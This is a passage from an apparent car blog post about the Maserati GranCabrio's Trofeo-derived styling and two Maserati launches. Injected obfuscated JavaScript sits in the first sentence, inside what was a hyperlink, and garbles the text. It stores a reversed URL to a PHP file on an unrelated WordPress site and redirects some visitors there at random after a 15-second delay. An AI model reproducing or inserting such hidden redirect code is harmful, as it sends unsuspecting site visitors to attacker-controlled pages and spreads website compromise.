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Wander around the front of the new GranCabrio and you’ll find numerous references to the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/maserati-trofeo-world-series-ghanems-storming-debut/” target=”_blank”>Maserati MC Trofeo World Series racer, including new air inlets about the bonnet and front wings, a new rear spoiler, and redesigned bumpers for improved aerodynamics. Even the exhaust pipes have been centred for better weight distribution.
So there we have it. Two Maserati launches, 7000km apart. You’d think then we’re busy arguing which floats our boat the most. Well, actually…
“No no, the mini Samosas they served in Dubai were better!”
